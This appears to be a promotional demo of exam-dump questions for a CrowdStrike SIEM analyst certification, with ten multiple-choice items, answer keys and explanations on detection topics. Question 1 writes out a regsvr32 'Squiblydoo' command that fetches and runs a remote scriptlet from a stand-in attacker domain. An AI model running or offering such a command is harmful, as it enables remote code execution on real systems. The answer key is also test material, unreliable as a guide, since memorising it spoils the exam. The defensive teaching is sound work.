

CrowdStrike CCSA-205

CrowdStrike Certified SIEM Analyst

**Thank You for Downloading CCSA-205 Updated Exam
Questions**

<https://certs4sale.com/CrowdStrike/ccsa-205-pdf-exam-dumps>

Question: 1

In the context of CrowdStrike Falcon SIEM analysis and Living-off-the-Land (LotL) attacks - where adversaries use legitimate, built-in Windows tools to evade detection - a SIEM analyst observes the following on a corporate endpoint during non-business hours: 'schtasks.exe' is invoked by 'rundll32.exe' to create a scheduled task that executes 'regsvr32.exe /s /n /u /i:http://attacker-domain.com/payload.sct scrobj.dll'. No malware binaries are dropped to disk. Which of the following best explains why this specific combination of tools is particularly effective as a LotL technique in evading traditional security controls? (difficulty: hard)

- A. Because regsvr32.exe (the 'Squiblydoo' technique) can fetch and execute a remote COM scriptlet (.sct) over HTTP without writing a payload to disk, while also bypassing AppLocker policies, making traditional file-based and some policy-based detections ineffective.
- B. Because schtasks.exe encrypts the scheduled task definition in the Windows registry using AES-256, preventing SIEM platforms like CrowdStrike Falcon from reading or logging the task parameters during creation.
- C. Because the combination of schtasks.exe and rundll32.exe triggers a known Windows kernel exception that disables ETW (Event Tracing for Windows) logging, causing CrowdStrike Falcon's sensor to lose visibility into all subsequent child process activity.
- D. Because rundll32.exe and regsvr32.exe are unsigned binaries rarely monitored by endpoint solutions, their combined use creates a completely invisible execution chain that bypasses all signature-based and behavioral detection mechanisms.

Answer: A

Explanation:

The described attack chain is a classic example of a Living-off-the-Land technique combining persistence (via schtasks.exe) with fileless execution (via regsvr32.exe). The regsvr32.exe /i: method, commonly referred to as 'Squiblydoo' (documented under MITRE ATT&CK T1218.010), abuses a trusted Windows binary to fetch a remote COM scriptlet (.sct file) over HTTP or HTTPS and execute it entirely in memory without dropping a payload to disk. This is particularly dangerous because regsvr32.exe is whitelisted in many environments and can bypass application whitelisting solutions like AppLocker. The use of rundll32.exe as the parent process further obfuscates the chain, as rundll32.exe itself is commonly used for legitimate purposes. In CrowdStrike Falcon SIEM analysis, detecting this pattern requires behavioral correlation - identifying anomalous parent-child process relationships, outbound network connections from regsvr32.exe, and scheduled task creation outside normal business context - rather than relying on file hash or signature matching. This is precisely why LotL techniques are prioritized threats in CCSA training: they require analysts to reason about behavioral baselines and process lineage rather than traditional IOC-based detection.

Question: 2

In the context of Kerberoasting and Pass-the-Hash attacks - two credential-based lateral movement techniques monitored by CrowdStrike Falcon - a SOC analyst is investigating suspicious activity on a

Windows Active Directory environment. CrowdStrike Falcon telemetry shows that a domain-joined workstation initiated an NTLM authentication attempt to a remote file share using credentials that never resulted in an interactive logon on that workstation. The hash used was captured from memory on a previously compromised host. The analyst wants to identify which detection artifact in Falcon would MOST reliably distinguish this Pass-the-Hash attack from a legitimate NTLM authentication event. (difficulty: hard)

- A. A Falcon alert for LSASS memory access via a tool like Mimikatz, indicating that credentials were dumped from memory on the current host during the lateral movement phase.
- B. A Windows Event ID 4769 (Kerberos Service Ticket Request) using RC4-HMAC encryption type (0x17), correlated with a high volume of requests across multiple service accounts in a short time window.
- C. The presence of Windows Event ID 4768 (Kerberos Authentication Service Request) on the domain controller, indicating that a TGT was requested using NTLM downgrade.
- D. A logon event (Windows Event ID 4624) with Logon Type 3 (Network) and Authentication Package listed as NTLM, originating from a host where no corresponding interactive logon (Logon Type 2 or 10) for that user was previously recorded.

Answer: D

Explanation:

Pass-the-Hash is an attack technique where an adversary uses a captured NTLM hash to authenticate to remote systems without knowing the plaintext password. Unlike normal interactive logons, Pass-the-Hash attacks generate network logon events (Logon Type 3) authenticated via NTLM, on systems where the targeted user never established an interactive session. In CrowdStrike Falcon's SIEM correlation, analysts look for Windows Event ID 4624 with Logon Type 3 and NTLM as the authentication package, especially when the source host has no record of a prior interactive logon for that account - this mismatch is a strong behavioral red flag. Falcon enhances this detection by correlating process-level telemetry, such as unusual processes initiating SMB connections, with authentication logs to reduce false positives. Kerberoasting, by contrast, is identified through Event ID 4769 with RC4-HMAC encryption and bulk TGS requests, which involve entirely different authentication flows. LSASS dumping is part of the credential access phase and precedes Pass-the-Hash but is not the event that confirms hash reuse during lateral movement. Understanding these distinctions is critical for CCSA candidates performing alert triage and correlation within the Falcon SIEM.

Question: 3

In CrowdStrike Falcon's LogScale SIEM environment, which uses CrowdStrike Query Language (CQL), an analyst needs to calculate the ratio of failed login attempts to total login attempts per user account over the last 24 hours, and only return accounts where this failure ratio exceeds 80%. Which of the following CQL query structures correctly achieves this? (difficulty: hard)

- A. `| groupBy(UserName) | count(EventType=="FailedLogin") / count() > 0.8`
- B. `| where EventType=="FailedLogin" OR EventType=="SuccessfulLogin" | groupBy(UserName,`

function=count(as=total)) | where total > 0.8

C. | failed := if(EventType=="FailedLogin", 1, 0) | groupBy(UserName, function=[sum(field=failed, as=failed_count), count(as=total_count)]) | ratio := failed_count / total_count | where ratio > 0.8

D. | groupBy(UserName, function=[count(EventType=="FailedLogin", as=failed), count(as=total)]) | ratio := failed / total | where ratio > 0.8

Answer: C

Explanation:

In CrowdStrike Falcon LogScale CQL, conditional aggregation - such as computing a failure ratio - requires a multi-step pipeline approach. The correct pattern is: (1) use the := assignment operator combined with the if() function to materialize a binary derived field marking each event as a failure (1) or not (0); (2) use groupBy() with sum() on the derived field to count failures and count() to count all events per user; (3) use := again after aggregation to compute the ratio from the two aggregated fields; and (4) apply a where clause to filter accounts exceeding the threshold. This approach is consistent with LogScale's streaming pipeline model, where fields must be explicitly created before they can be aggregated. A common mistake - especially for analysts with SQL backgrounds - is expecting inline conditional aggregation (like SQL's COUNT(CASE WHEN ...)), but LogScale CQL requires field materialization via := and if() prior to aggregation. Note also that LogScale uses the := operator for field assignment rather than a standalone eval() function call.

Question: 4

In the context of Kill Chain Analysis and Mapping within CrowdStrike's Falcon SIEM platform, a threat analyst is investigating a sophisticated intrusion. Falcon telemetry reveals the following sequence: a threat actor registered a domain resembling a trusted financial institution, crafted a spear-phishing email with a link to that domain, and hosted a browser-based exploit kit on it that fingerprinted the victim's browser version, operating system, and installed plugins before deciding whether to deliver a payload. According to the Lockheed Martin Cyber Kill Chain framework, which stage does the threat actor's act of fingerprinting the victim's system via the exploit kit most accurately represent? (difficulty: hard)

- A. Reconnaissance - the attacker is actively gathering technical information about the victim's environment after the victim visits the malicious site.
- B. Exploitation - the exploit kit is executing within the victim's browser, actively probing the software environment and leveraging that knowledge to trigger a vulnerability on the victim's system.
- C. Weaponization - the attacker is embedding reconnaissance logic inside the exploit kit to prepare a tailored payload for delivery.
- D. Delivery - the attacker is transmitting the weaponized exploit kit to the victim's browser environment, which includes active profiling of the target system as part of the delivery mechanism.

Answer: B

Explanation:

In the Lockheed Martin Cyber Kill Chain, Exploitation is defined as the stage where the attacker triggers code execution on the victim's system by leveraging a vulnerability. Browser-based exploit kits are a canonical example of this stage in action: once the victim navigates to the attacker-controlled domain (completing Delivery), the kit loads and executes attacker-controlled JavaScript or other code within the victim's browser process. As part of that execution, the kit fingerprints the browser version, operating system, and installed plugins - then selects and fires the most appropriate exploit. This entire sequence, from kit execution through fingerprinting to vulnerability triggering, constitutes the Exploitation stage. A common error is labeling the fingerprinting activity as Delivery because it occurs on a web server the attacker controls; however, the Kill Chain boundary between Delivery and Exploitation is the moment attacker code begins executing on the victim's system. Another common error is labeling it Reconnaissance, which strictly covers pre-attack information gathering. In CrowdStrike Falcon SIEM investigations, correctly mapping fingerprinting activity to the Exploitation stage is critical for accurate detection rule placement - analysts should look for script engine process events, browser child process spawns, and memory protection anomalies as indicators of this stage, rather than treating them as delivery-phase network IOCs.

Question: 5

Within CrowdStrike Falcon Insight XDR, which detection and response capability distinguishes XDR from traditional EDR by allowing security analysts to correlate telemetry and detections across multiple security domains beyond just the endpoint? (difficulty: medium)

- A. The ability to ingest, correlate, and unify telemetry from third-party security tools - such as firewalls, email security gateways, and identity providers - alongside native Falcon sensor data to enable cross-domain detections.
- B. The ability to create custom detection rules using Falcon's Indicator of Attack (IOA) framework to identify behavioral patterns on monitored endpoints.
- C. The ability to run Real Time Response (RTR) scripts on remote endpoints to collect forensic artifacts during an active incident investigation.
- D. The ability to deploy the Falcon sensor on endpoints and automatically quarantine malicious files based on hash reputation.

Answer: A

Explanation:

Extended Detection and Response (XDR) evolves traditional EDR by breaking down visibility silos across an organization's security stack. CrowdStrike Falcon Insight XDR achieves this by acting as a central correlation engine that unifies telemetry from native Falcon modules - such as Identity Protection, Cloud Security, and Discover - as well as third-party tools like SIEM, firewalls, email gateways, and identity providers. This cross-domain ingestion allows analysts to build detection logic and investigate incidents that span multiple attack surfaces in a single workflow, rather than pivoting between disparate consoles. For example, an XDR detection might chain a suspicious email attachment (email security telemetry) with a subsequent malicious process execution (endpoint telemetry) and a lateral movement event (identity telemetry) into a single, high-fidelity alert. This unified correlation dramatically reduces

mean time to detect (MTTD) and mean time to respond (MTTR) by providing analysts with a complete attack storyline. EDR tools like standard Falcon Insight focus exclusively on endpoint telemetry, which is precisely the limitation XDR is designed to overcome.

Question: 6

In the context of CrowdStrike Falcon SIEM integration with Windows Event Logs, a security analyst notices that Event ID 4768 is being generated frequently from a single domain controller, with many of the requests originating from IP addresses that do not match the expected client subnets. Which of the following conclusions best explains the security significance of this pattern and how it should be prioritized in a SIEM triage workflow? (difficulty: hard)

- A. Event ID 4768 logs a Kerberos Authentication Ticket (TGT) request, and a high volume from unexpected IP addresses could indicate Kerberos reconnaissance or AS-REP Roasting activity, warranting correlation with account enumeration events such as 4625 and 4771 before escalation.
- B. Event ID 4768 records NTLM authentication attempts, and the unexpected source IPs suggest a credential stuffing attack against the domain controller, which should be mitigated by disabling NTLM on all domain controllers immediately.
- C. Event ID 4768 reflects successful interactive logon sessions, and the volume spike from unknown IPs is likely caused by a misconfigured VPN gateway forwarding all authentication requests through a single source IP, which can be safely suppressed in the SIEM.
- D. Event ID 4768 indicates a Kerberos Service Ticket (TGS) was requested, and anomalous volume from unexpected IPs suggests potential lateral movement via pass-the-ticket attacks, which should be escalated immediately as a Tier 1 alert.

Answer: A

Explanation:

Event ID 4768 is generated by Windows domain controllers when a Kerberos Authentication Ticket (TGT) is requested during the AS-REQ phase of Kerberos authentication. In a CrowdStrike Falcon SIEM integration context, analysts ingest Windows Security Event Logs to detect identity-based threats. A high volume of 4768 events from unexpected IP addresses is a well-documented indicator of Kerberos-based attacks such as AS-REP Roasting, where adversaries target accounts with Kerberos pre-authentication disabled to harvest offline-crackable ticket hashes, or reconnaissance activity scanning for valid usernames. Proper SIEM triage requires correlating 4768 anomalies with Event ID 4771 (Kerberos pre-authentication failed) and 4625 (failed logon) to distinguish attack patterns from benign misconfigurations. CrowdStrike Falcon's identity protection capabilities integrate with these log sources to build behavioral baselines and detect deviations consistent with credential attacks. Escalation should be evidence-based, combining log correlation with Falcon telemetry such as process execution context and network connection data to confirm adversarial intent before containment actions are taken.

Question: 7

In the context of CrowdStrike Falcon for Mobile Devices, a SIEM analyst is reviewing alerts from a corporate Android device enrolled in Falcon for Mobile. The device has a legitimate VPN app installed and approved by IT, but Falcon has generated a medium-severity alert indicating suspicious network-level SSL/TLS interception. The MDM solution shows the device as fully compliant. Which Falcon for Mobile capability is most likely responsible for generating this alert? (difficulty: hard)

- A. Falcon for Mobile's network threat detection, which analyzes network-level indicators such as rogue certificate authorities, SSL stripping attempts, and suspicious traffic redirection patterns to identify potential man-in-the-middle conditions even on MDM-compliant devices.
- B. Falcon for Mobile's device posture assessment, which evaluates the Android security patch level and flags devices running outdated firmware as susceptible to SSL stripping attacks.
- C. Falcon for Mobile's application inventory scanning, which flags any app capable of intercepting network traffic as a policy violation regardless of IT approval status.
- D. Falcon for Mobile's behavioral AI engine, which cross-correlates cloud threat intelligence with MDM compliance data to reclassify approved apps as malicious based on updated threat feeds.

Answer: A

Explanation:

CrowdStrike Falcon for Mobile extends beyond traditional MDM by including network threat detection capabilities that operate at the network layer. Unlike MDM solutions, which assess device configuration and policy compliance, Falcon for Mobile can detect network-level anomalies associated with SSL/TLS interception - including connections to untrusted certificate authorities, SSL stripping, and suspicious traffic redirection - even when the device is fully MDM-compliant and the source application is IT-approved. This is a critical distinction: MDM compliance confirms that device policy settings are correct, but it provides no visibility into active network-layer threat conditions. Falcon for Mobile's network threat detection layer fills this gap by providing telemetry about the network environment the device is operating in. SIEM analysts should treat Falcon mobile network alerts as meaningful signals even when MDM reports full compliance, since the two systems operate at fundamentally different layers of the mobile security stack - MDM at the configuration and policy layer, and Falcon at the threat detection and behavioral layer.

Question: 8

In the context of CrowdStrike Falcon Sensor Deployment, an organization is deploying the Falcon sensor across a large Windows environment using a software deployment tool. After deployment, a security analyst notices that several endpoints show the sensor as installed but are NOT appearing in the Falcon console under 'Sensor Management'. Which of the following is the MOST likely root cause of this issue? (difficulty: hard)

- A. The Falcon sensor was installed without administrator privileges, causing it to run in a degraded

mode that prevents cloud registration.

B. The operating system version on the affected endpoints is not supported by the deployed sensor version, causing silent registration failure.

C. The Customer ID (CID) embedded in the installer package is incorrect, causing the sensor to register under a different Falcon tenant.

D. The endpoints cannot reach the CrowdStrike cloud because required outbound connectivity to Falcon's cloud URLs and ports is blocked by a firewall or proxy.

Answer: D

Explanation:

When the CrowdStrike Falcon sensor is installed on an endpoint, it must establish outbound communication with CrowdStrike's cloud infrastructure to complete its registration and appear in the Falcon console under Sensor Management. This communication occurs over HTTPS (TCP port 443) to specific CrowdStrike cloud domains. In enterprise environments, firewalls, next-generation proxies, or strict egress filtering policies frequently block this traffic if the CrowdStrike cloud URLs have not been explicitly whitelisted. The result is a sensor that appears fully installed from the operating system's perspective - visible in Programs and Features or via SC query - but is unable to register with the cloud tenant, making it invisible in the console. Administrators troubleshooting this scenario should verify connectivity to CrowdStrike's required URLs (such as ts01-b.cloudsink.net and similar endpoints) from the affected hosts, check proxy bypass rules, and review SSL inspection policies, as deep packet inspection of TLS traffic to the Falcon cloud can also disrupt sensor communication. CrowdStrike publishes a specific list of URLs and ports that must be reachable for proper sensor operation, and validating this allowlist is the first step in diagnosing registration failures of this type.

Question: 9

In a SOC workflow leveraging CrowdStrike Falcon, an analyst receives a detection alert classified as severity 'High' on an endpoint. Upon investigation, the analyst confirms the alert is a True Positive involving lateral movement via a compromised service account. According to best practices for SOC triage and incident response workflows within CrowdStrike Falcon, what should the analyst do FIRST after confirming the True Positive? (difficulty: hard)

A. Document the alert details in the SIEM and close the detection ticket, marking it as a confirmed incident for the threat intelligence team to review later.

B. Immediately reimagine the affected endpoint to remove any persistence mechanisms and restore it to a clean state.

C. Reset the compromised service account credentials in Active Directory and notify the account owner without taking any action on the endpoint.

D. Contain the affected endpoint using Falcon's Network Containment feature to isolate it from the network while preserving forensic data and escalate the incident per the organization's incident response plan.

Answer: D

Explanation:

In CrowdStrike Falcon-based SOC workflows, when a True Positive involving lateral movement is confirmed, the priority is to contain the threat before it spreads further. Falcon's Network Containment feature is specifically designed for this purpose: it isolates the compromised host at the network level, preventing further lateral movement, while still maintaining the sensor's connection to the Falcon cloud so analysts can continue collecting telemetry and conducting forensic investigation. This approach aligns with the broader incident response principle of 'Contain, then Eradicate, then Recover.' Skipping containment and jumping to remediation steps like reimaging or credential resets can destroy forensic evidence, tip off the attacker, or allow the compromise to spread. Escalation in parallel ensures that the incident receives appropriate organizational attention, resources, and documentation in line with the IR plan. CrowdStrike Falcon's Real Time Response (RTR) capability can also be leveraged alongside containment for deeper forensic triage without needing physical access to the host.

Question: 10

In the context of integrating CrowdStrike Falcon with Splunk for SIEM operations, a security analyst wants to ensure that Falcon detection events are ingested into Splunk in near real-time and correctly mapped to the Common Information Model (CIM). Which of the following approaches best achieves both goals simultaneously? (difficulty: hard)

- A. Set up a Splunk HTTP Event Collector (HEC) endpoint and configure Falcon to push syslog-formatted events directly to HEC, then manually create field extractions to align with CIM.
- B. Configure a Splunk Universal Forwarder directly on the CrowdStrike Falcon sensor host to forward raw endpoint logs to the Splunk indexer, relying on default Splunk sourcetypes for CIM compliance.
- C. Use the CrowdStrike Falcon Add-on for Splunk (TA) to collect events via the Falcon Streaming API or Event Streams API, as the add-on includes pre-built CIM field mappings for Falcon data sources.
- D. Manually export Falcon detection events as CSV files from the Falcon console and upload them to Splunk on a scheduled basis, then apply CIM-compatible field aliases in the search queries.

Answer: C

Explanation:

The CrowdStrike Falcon Add-on for Splunk (also referred to as the Falcon TA) is the officially supported and recommended method for integrating Falcon telemetry into Splunk. It leverages the Falcon Event Streams API (or Streaming API), which provides a continuous, near real-time feed of detection, authentication, and audit events directly from the Falcon cloud platform. A critical advantage of the TA is that it ships with pre-built field extractions and CIM (Common Information Model) mappings, which allow Splunk users to immediately leverage CIM-based data models such as Endpoint, Alerts, and Authentication for correlation searches, dashboards, and Splunk ES notable events. This eliminates the need for analysts to manually map Falcon's proprietary event fields to CIM-compliant field names. Furthermore, using the official TA ensures forward compatibility, as CrowdStrike and Splunk maintain the add-on to reflect changes in Falcon's event schemas. For CCSA candidates, understanding the role of the Falcon TA and the Streaming API is essential, as this integration underpins effective SIEM

operations using CrowdStrike data within Splunk environments.

THANK YOU FOR DOWNLOADING CCSA-205 UPDATED EXAM QUESTIONS

Note: Thanks For Trying The Demo Of Our CCSA-205 Exam Product

Visit Our Site to Purchase the Full Set of Actual CCSA-205 Exam Questions With Answers.

Money Back Guarantee



Click The Link Below

<https://certs4sale.com/CrowdStrike/ccsa-205-pdf-exam-dumps>